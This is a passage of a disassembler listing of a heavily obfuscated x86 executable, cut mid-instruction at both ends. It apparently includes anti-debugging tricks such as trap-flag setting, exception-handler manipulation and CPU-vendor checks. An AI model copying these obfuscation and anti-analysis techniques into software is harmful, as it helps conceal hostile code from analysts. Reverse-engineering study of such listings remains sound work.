ecx, 0F356DFE2h ; END OF FUNCTION CHUNK FOR sub_42D15D ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42653E: ; CODE XREF: sub_428F20-4A42j add ecx, 0D32A7E37h push offset loc_4235B4 jmp loc_426189 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_42654E: ; CODE XREF: sub_423F50:loc_429F4Ej mov [ebp-4], eax ; END OF FUNCTION CHUNK FOR sub_423F50 ; START OF FUNCTION CHUNK FOR sub_428D63 loc_426551: ; CODE XREF: sub_423F50:loc_424447j ; sub_428D63:loc_42A53Ej ... mov eax, [ebp-1Ch] call sub_4289E4 mov [ebp-8], eax jmp loc_426ADD ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_426561 proc near ; CODE XREF: sub_423F50:loc_424454p ; sub_429AC6+620p ... ; FUNCTION CHUNK AT 0042B078 SIZE 00000005 BYTES js sub_42AAE0 push offset sub_42D950 jmp loc_42B078 sub_426561 endp ; =============== S U B R O U T I N E ======================================= sub_426571 proc near ; CODE XREF: sub_42448C-2ECp ; _0182ofla:0042868Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004239BD SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00423C0A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004245F9 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004255F9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042624D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426E39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042708B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00427164 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042791B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042875E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004287D2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042A8EF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0042CB85 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042D158 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBB1 SIZE 00000004 BYTES xchg eax, [esp+0] pop eax movzx eax, byte ptr [eax] shr eax, 1 cmp eax, 66h jnz loc_42A902 jmp loc_42A8EF sub_426571 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_426588: ; CODE XREF: sub_4231F3:loc_428985j or ecx, ecx jz loc_428E98 call sub_423AB1 loc_426595: ; CODE XREF: _0182ofla:00424FE1j jmp loc_424940 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6D5 loc_42659A: ; CODE XREF: sub_42A6D5:loc_4243FDj xchg edi, [esi] add edi, 0AC295C97h jmp loc_42EA69 ; END OF FUNCTION CHUNK FOR sub_42A6D5 ; --------------------------------------------------------------------------- mov edx, 20413B0Fh push offset sub_42CCD0 jmp locret_425B86 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4265B7: ; CODE XREF: _0182ofla:loc_42AB70j pop ebp retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_4265BB: ; CODE XREF: sub_426319+1DC3j jmp loc_42366F ; END OF FUNCTION CHUNK FOR sub_426319 ; =============== S U B R O U T I N E ======================================= sub_4265C0 proc near ; CODE XREF: sub_423461+14p ; sub_429038:loc_4236DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423786 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042442E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428F41 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B223 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BCF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C436 SIZE 0000000C BYTES jnb sub_42C1B2 push ebp jmp loc_42BCF8 sub_4265C0 endp ; --------------------------------------------------------------------------- sub eax, ds:dword_424C1C shr eax, 11h jz loc_425F7E jmp loc_42650E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423114 loc_4265E0: ; CODE XREF: sub_423114+C30j ror eax, 9 jbe nullsub_117 mov ebx, esi ja loc_42A376 sbb ebx, ebp jmp loc_42DDB2 ; END OF FUNCTION CHUNK FOR sub_423114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_4265F8: ; CODE XREF: sub_423AF2+7CACj jp loc_42DF25 rol ebp, 8 ja loc_429831 jmp loc_42AE9D ; END OF FUNCTION CHUNK FOR sub_423AF2 ; =============== S U B R O U T I N E ======================================= sub_42660C proc near ; CODE XREF: sub_428D09:loc_428C58j var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h ; FUNCTION CHUNK AT 00423008 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004231BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004239E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042436E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042543A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00425F33 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004260CB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00426274 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426EDA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004271EF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427378 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004278AA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004278E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427E0E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042812D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428B79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429722 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B490 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B767 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042CF93 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042E928 SIZE 00000005 BYTES add esp, 0FFFFFFECh cmp ds:dword_4257A4, 0 jnz loc_424009 jmp loc_429722 sub_42660C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DFA loc_426621: ; CODE XREF: sub_427DFA-423Ej jnz loc_42E005 jmp loc_424C7A ; END OF FUNCTION CHUNK FOR sub_427DFA ; =============== S U B R O U T I N E ======================================= sub_42662C proc near ; DATA XREF: sub_42C2CC+12ABo var_10 = dword ptr -10h ; FUNCTION CHUNK AT 00423F31 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004241F8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004248E3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426229 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426667 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426CEA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004275F6 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004285EE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042CD04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D73E SIZE 00000022 BYTES add esp, 0FFFFFFF0h call sub_428D17 mov edx, 0CB39536Bh call sub_42D71D push esi push 53E98C87h jmp loc_426229 sub_42662C endp ; =============== S U B R O U T I N E ======================================= sub_426649 proc near ; DATA XREF: sub_42448C-2D9o ; FUNCTION CHUNK AT 00429FDA SIZE 0000001F BYTES add eax, 8120DC91h add eax, ebp push edx push 75A6647Ch jmp loc_429FDA sub_426649 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42665D: ; CODE XREF: sub_42798F+5262j jmp loc_4240EF ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427797 loc_426662: ; CODE XREF: sub_427797+11j jmp loc_427281 ; END OF FUNCTION CHUNK FOR sub_427797 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_426667: ; CODE XREF: sub_42662C:loc_4241FDj cmp ebx, 0B148547h jmp loc_426CEA ; END OF FUNCTION CHUNK FOR sub_42662C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426673: ; CODE XREF: _0182ofla:00428970j jmp loc_42B3E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_426678: ; CODE XREF: sub_42D056:loc_427D21j jge loc_42E038 add eax, 0F347583Fh mov edx, [ecx] jmp loc_42DE1B ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_42668B: ; CODE XREF: sub_42349B:loc_42D0D0j adc esi, edi adc esi, 887A65C1h jmp loc_4296A6 ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- or edx, ebx cmp eax, edx jmp loc_42CDE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_4266A1: ; CODE XREF: sub_429242-4FFEj ; DATA XREF: _0182ofla:loc_423665o pop dword ptr fs:0 xchg eax, [esp+0] pop eax push ebx push 0FE6E7131h jmp loc_42B85A ; END OF FUNCTION CHUNK FOR sub_429242 ; --------------------------------------------------------------------------- add esi, 4FCF6E2Fh jmp sub_42E2B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42945B loc_4266C1: ; CODE XREF: sub_42945B+10j add [ebp-8], eax mov eax, [ebp-8] push offset loc_42ECA4 jmp loc_4275C2 ; END OF FUNCTION CHUNK FOR sub_42945B ; =============== S U B R O U T I N E ======================================= sub_4266D1 proc near ; CODE XREF: _0182ofla:004246CFj ; _0182ofla:00427C8Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EA10 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xchg edx, [esp-4+arg_0] jmp loc_42EA10 sub_4266D1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52E loc_4266DD: ; CODE XREF: sub_42D52E+1Aj call sub_42CED4 jmp loc_42DC28 ; END OF FUNCTION CHUNK FOR sub_42D52E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CE73 loc_4266E7: ; CODE XREF: sub_42CE73+Ej pop edx call sub_425A5C loc_4266ED: ; CODE XREF: _0182ofla:00425111j jmp loc_426E7C ; END OF FUNCTION CHUNK FOR sub_42CE73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_4266F2: ; CODE XREF: sub_425BF8-279Cj jmp sub_42AA7A ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5EF loc_4266F7: ; CODE XREF: sub_42D5EF+4j xchg ebp, ecx push ecx xchg ebp, ecx mov ebp, esp call nullsub_9 mov eax, ds:dword_42B8EC call sub_42905D ; END OF FUNCTION CHUNK FOR sub_42D5EF ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42670D: ; CODE XREF: sub_423A2A+1F09j jmp loc_4243E6 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- locret_426712: ; CODE XREF: _0182ofla:loc_4272B3j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_426713: ; CODE XREF: sub_428EB9+C52j jmp loc_4269CF ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- loc_426718: ; CODE XREF: _0182ofla:00424C3Cj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al jmp loc_429B24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42673D: ; CODE XREF: sub_428D63-2994j call sub_427E32 loc_426742: ; CODE XREF: _0182ofla:004262B3j jmp sub_42D71D ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466B loc_426747: ; CODE XREF: sub_42466B+1j jmp loc_42785F ; END OF FUNCTION CHUNK FOR sub_42466B ; --------------------------------------------------------------------------- locret_42674C: ; CODE XREF: _0182ofla:loc_429032j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AB1 loc_42674E: ; CODE XREF: sub_429AB1+5j jmp loc_42831F ; END OF FUNCTION CHUNK FOR sub_429AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A7F loc_426753: ; CODE XREF: sub_426A7F-3480j jmp sub_42892E ; END OF FUNCTION CHUNK FOR sub_426A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_426758: ; CODE XREF: _0182ofla:004249B4j ; sub_423A2A+1F03j call sub_423FCD test al, al jz loc_42B429 jmp loc_42574D ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42676A: ; CODE XREF: sub_4298DD:loc_424C30j ; sub_4298DD+18C6j cmp dword ptr [ebp-1C8h], 2B584245h jnz loc_426802 jmp loc_426CA2 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_42677F: ; CODE XREF: _0182ofla:004296DBj add edx, ebp add edx, 0CF283B70h mov edx, [edx] mov eax, [edx] push esi push 0B41573E7h pop esi jmp loc_42DA60 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_426798: ; CODE XREF: sub_427942+1B83j jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_427942 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424072 loc_42679E: ; CODE XREF: sub_424072+9j ; sub_424072+2740j ... jz loc_426BBB sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jnz loc_42679E jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_424072 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A70 loc_4267BD: ; CODE XREF: sub_424A70:loc_4257C4j rol eax, 1 add eax, 0F6E3C8C9h add eax, ebp add eax, 94D419C3h jmp loc_42E8FB ; END OF FUNCTION CHUNK FOR sub_424A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA65 loc_4267D2: ; CODE XREF: sub_42DA65-7633j xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp loc_426D5B ; END OF FUNCTION CHUNK FOR sub_42DA65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C33B loc_4267E5: ; CODE XREF: sub_42C33B:loc_42C341j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42C33B ; =============== S U B R O U T I N E ======================================= sub_4267E7 proc near ; CODE XREF: _0182ofla:0042DB74p push dword ptr fs:0 mov fs:0, esp jmp loc_424F2F sub_4267E7 endp ; =============== S U B R O U T I N E ======================================= sub_4267F8 proc near ; CODE XREF: _0182ofla:00429BDDp ; FUNCTION CHUNK AT 00423683 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004238B6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423CF5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424DDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424DEF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426F58 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004273CF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004293FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C3FD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042D114 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DCC6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E084 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042EA0A SIZE 00000005 BYTES xchg eax, [esp+0] add eax, esi jmp loc_423683 sub_4267F8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_426802: ; CODE XREF: sub_4298DD-3169j ; sub_4298DD+Aj push offset loc_424F4D jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_4298DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBF0 loc_42680D: ; CODE XREF: sub_42DBF0+17j jmp loc_427EBE ; END OF FUNCTION CHUNK FOR sub_42DBF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB27 loc_426812: ; CODE XREF: sub_42AB27-172Fj jmp loc_42A681 ; END OF FUNCTION CHUNK FOR sub_42AB27 ; --------------------------------------------------------------------------- loc_426817: ; CODE XREF: _0182ofla:00428A4Fj jmp loc_42DAA4 ; --------------------------------------------------------------------------- loc_42681C: ; CODE XREF: _0182ofla:00426012j jmp loc_424A23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_426821: ; CODE XREF: sub_425B00:loc_428ABFj jz loc_42C8E0 push ebp mov eax, [ebp-20h] call sub_42A51F pop ecx jmp loc_428DDF ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_426836: ; CODE XREF: sub_42798F+1FC2j jbe loc_4243A7 loc_42683C: ; CODE XREF: sub_42798F:loc_4298F2j push edx push 14EC3529h mov edx, offset sub_4291F5 push offset sub_4291F1 jmp loc_42756D ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_426851 proc near ; DATA XREF: sub_424498+2C7Ao var_10 = dword ptr -10h ; FUNCTION CHUNK AT 00423E15 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042787B SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00429821 SIZE 00000005 BYTES xor ecx, 529E63ACh xchg ecx, [esp+0] push 0 push 0 push 0 jmp loc_423E15 sub_426851 endp ; --------------------------------------------------------------------------- mov ebx, ecx cmp ecx, 35E3D77Dh jmp loc_4238F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_426872: ; CODE XREF: sub_427259-3297j adc esi, 30A0ACAh jmp loc_428A9B ; END OF FUNCTION CHUNK FOR sub_427259 ; --------------------------------------------------------------------------- jno loc_425A37 jmp sub_427762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_426888: ; CODE XREF: sub_4253F4+3365j xor [esi], ebx add [esi], edx xor [esi], ecx cmp ebx, 756E6547h jz loc_4284AE jmp loc_42CF2F ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- lea eax, sub_42AE82 mov [ebp-4], eax push edi call sub_426B01 ; START OF FUNCTION CHUNK FOR sub_42DA2D loc_4268AE: ; CODE XREF: sub_42DA2D-4680j jmp loc_42625A ; END OF FUNCTION CHUNK FOR sub_42DA2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_4268B3: ; CODE XREF: sub_4298DD:loc_423167j jz loc_423E82 loc_4268B9: ; CODE XREF: sub_426020+4EECj jmp loc_4251D8 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_4268BE: ; CODE XREF: _0182ofla:loc_42D637j mov edi, [eax] jmp loc_423E76 ; --------------------------------------------------------------------------- loc_4268C5: ; CODE XREF: _0182ofla:0042C2EBj jb loc_423C29 sbb ecx, esi cdq jmp loc_423436 ; --------------------------------------------------------------------------- loc_4268D3: ; CODE XREF: _0182ofla:0042C16Dj jz loc_4277E6 mov esi, ecx mov ebp, [ebx] jmp loc_4277E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_4268E2: ; CODE XREF: sub_42CC59:loc_42D29Fj push edx push 0FED8DD2Eh pop edx xor edx, 0AB30D610h add edx, ebp add edx, 0AA17F4B6h jmp loc_42E8F4 ; END OF FUNCTION CHUNK FOR sub_42CC59 ; =============== S U B R O U T I N E ======================================= sub_4268FC proc near ; CODE XREF: sub_4231F3+1878p ; _0182ofla:0042DFE2j ; FUNCTION CHUNK AT 0042D50B SIZE 00000005 BYTES mov [esp+0], esi pop esi call sub_424065 jnz loc_42E87F mov ecx, [ebx+edx-4] or ecx, ecx loc_426911: ; CODE XREF: sub_4231F3+11j jz loc_42D510 mov ebx, [ebx+ecx] jmp loc_42D50B sub_4268FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42691F: ; CODE XREF: sub_424184+8DCBj jz loc_42E3DB jmp loc_424CF7 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_42692A: ; CODE XREF: sub_4231F3+8E1j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_428E98 call sub_424065 jmp loc_424058 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_426940: ; CODE XREF: sub_42B3C2-5E4j call sub_424707 loc_426945: ; CODE XREF: _0182ofla:00428295j jnp loc_4264DD jnz loc_42B404 jmp loc_42E533 ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_426956: ; CODE XREF: sub_424707+40F0j pop ebx mov eax, offset loc_427B44 xchg eax, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- loc_426960: ; CODE XREF: _0182ofla:0042DD15j jb loc_425C42 ; START OF FUNCTION CHUNK FOR sub_429E52 loc_426966: ; CODE XREF: sub_429E52-8D5j xor eax, 881C34EBh add eax, ebp add eax, 0D9C0929Ah cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_4260F6 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D430 loc_426985: ; CODE XREF: sub_42D430:loc_42B2EFj add ebx, 0C6B1C798h xchg ebx, [esp+0] jmp loc_42A2CF ; END OF FUNCTION CHUNK FOR sub_42D430 ; =============== S U B R O U T I N E ======================================= sub_426993 proc near ; CODE XREF: sub_424533+7p ; FUNCTION CHUNK AT 0042459E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425CB7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A650 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E53D SIZE 00000012 BYTES xchg ecx, [esp+0] mov ecx, [esp+0] cmp ds:dword_423190, 0 jnz loc_42459E jmp loc_42A650 sub_426993 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, ebx jmp sub_42340D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4269B2: ; CODE XREF: sub_423A2A:loc_42427Ej ; sub_423A2A+6B3Bj push offset loc_42A28D jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4269BC: ; CODE XREF: sub_42798F:loc_42AA24j push eax ror eax, 15h loc_4269C0: ; CODE XREF: sub_425A93+8187j mov ds:dword_427A34, eax retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A93 loc_4269C7: ; CODE XREF: sub_425A93+Ej ; sub_42798F+3Fj rol eax, 15h jmp loc_427A58 ; END OF FUNCTION CHUNK FOR sub_425A93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_4269CF: ; CODE XREF: sub_428EB9:loc_426713j push offset sub_4299D4 jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; =============== S U B R O U T I N E ======================================= sub_4269D9 proc near ; CODE XREF: _0182ofla:004298B1j ; sub_42B500:loc_42A237p mov [esp+0], ecx pop ecx cmp dword ptr [eax], 0 jnz loc_42967F jmp sub_42966F sub_4269D9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_4269EB: ; CODE XREF: sub_42966F:loc_42967Fj push eax push 0 call sub_425305 jmp loc_4275BD ; END OF FUNCTION CHUNK FOR sub_42966F ; --------------------------------------------------------------------------- loc_4269F8: ; CODE XREF: _0182ofla:00429CF1j not edi ; =============== S U B R O U T I N E ======================================= sub_4269FA proc near ; CODE XREF: sub_424F35+28F2p mov [esp+0], eax pop eax add eax, 0F59A7C88h call sub_423D9E loc_426A09: ; CODE XREF: sub_42D935-74F5j jmp sub_42D71D sub_4269FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_426A0E: ; CODE XREF: sub_428F46-3D51j mov edx, eax cdq loc_426A11: ; CODE XREF: sub_428F46:loc_425998j call sub_429BB9 mov edx, 0A70158B4h call sub_42D71D push eax jmp loc_429583 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- loc_426A26: ; DATA XREF: sub_42DE3A+518o push dword ptr [ebp+8] call eax ; ExitProcess mov [ebp-4], eax jmp loc_42A79E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D83 loc_426A33: ; CODE XREF: sub_429D83+5j push offset sub_428E4B jmp loc_427A28 ; END OF FUNCTION CHUNK FOR sub_429D83 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_234. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_426A3E: ; CODE XREF: sub_42537E+7179j jmp loc_4275AB ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D33D loc_426A43: ; CODE XREF: sub_42D33D:loc_42B0C9j xchg ebp, ecx ; END OF FUNCTION CHUNK FOR sub_42D33D ; START OF FUNCTION CHUNK FOR sub_424184 loc_426A45: ; CODE XREF: sub_424184+5787j not ecx jmp loc_42559A ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- cmp edi, esi jmp loc_427054 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_426A53: ; CODE XREF: sub_4282B8+4140j jg nullsub_49 loc_426A59: ; CODE XREF: sub_4282B8:loc_425081j pop large dword ptr fs:0 add esp, 4 push 0E100A85Ah pop eax sub eax, 0F6435F83h xor eax, 0EABD4887h call sub_4265C0 jmp loc_42A120 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426A7F proc near ; DATA XREF: sub_42CA29:loc_42E149o ; FUNCTION CHUNK AT 004235F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426753 SIZE 00000005 BYTES push ebp mov ebp, esp call sub_424E6E loc_426A87: ; CODE XREF: sub_423A2A+87A1j jnz loc_4235F0 loc_426A8D: ; CODE XREF: sub_428A39+62A3j jmp nullsub_29 sub_426A7F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_426A92: ; CODE XREF: sub_426319+21B5j jmp loc_4283D7 ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- test edx, ebp jmp loc_42585F ; --------------------------------------------------------------------------- loc_426A9E: ; CODE XREF: _0182ofla:0042C832j mov byte ptr [ebp-803h], 0 mov byte ptr [ebp-802h], 0 mov byte ptr [ebp-801h], 1 loc_426AB3: ; CODE XREF: _0182ofla:loc_427C7Ej push offset sub_424498 jmp locret_42C54D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42445E loc_426ABE: ; CODE XREF: sub_42445E+9173j jmp loc_42C881 ; END OF FUNCTION CHUNK FOR sub_42445E ; --------------------------------------------------------------------------- loc_426AC3: ; CODE XREF: _0182ofla:00428FD1j cmp ebp, 838B6D30h jmp loc_428723 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D6C7 loc_426ACE: ; CODE XREF: sub_42D6C7+11j cmp dword ptr [ebp-4], 0 jz loc_425EE4 call 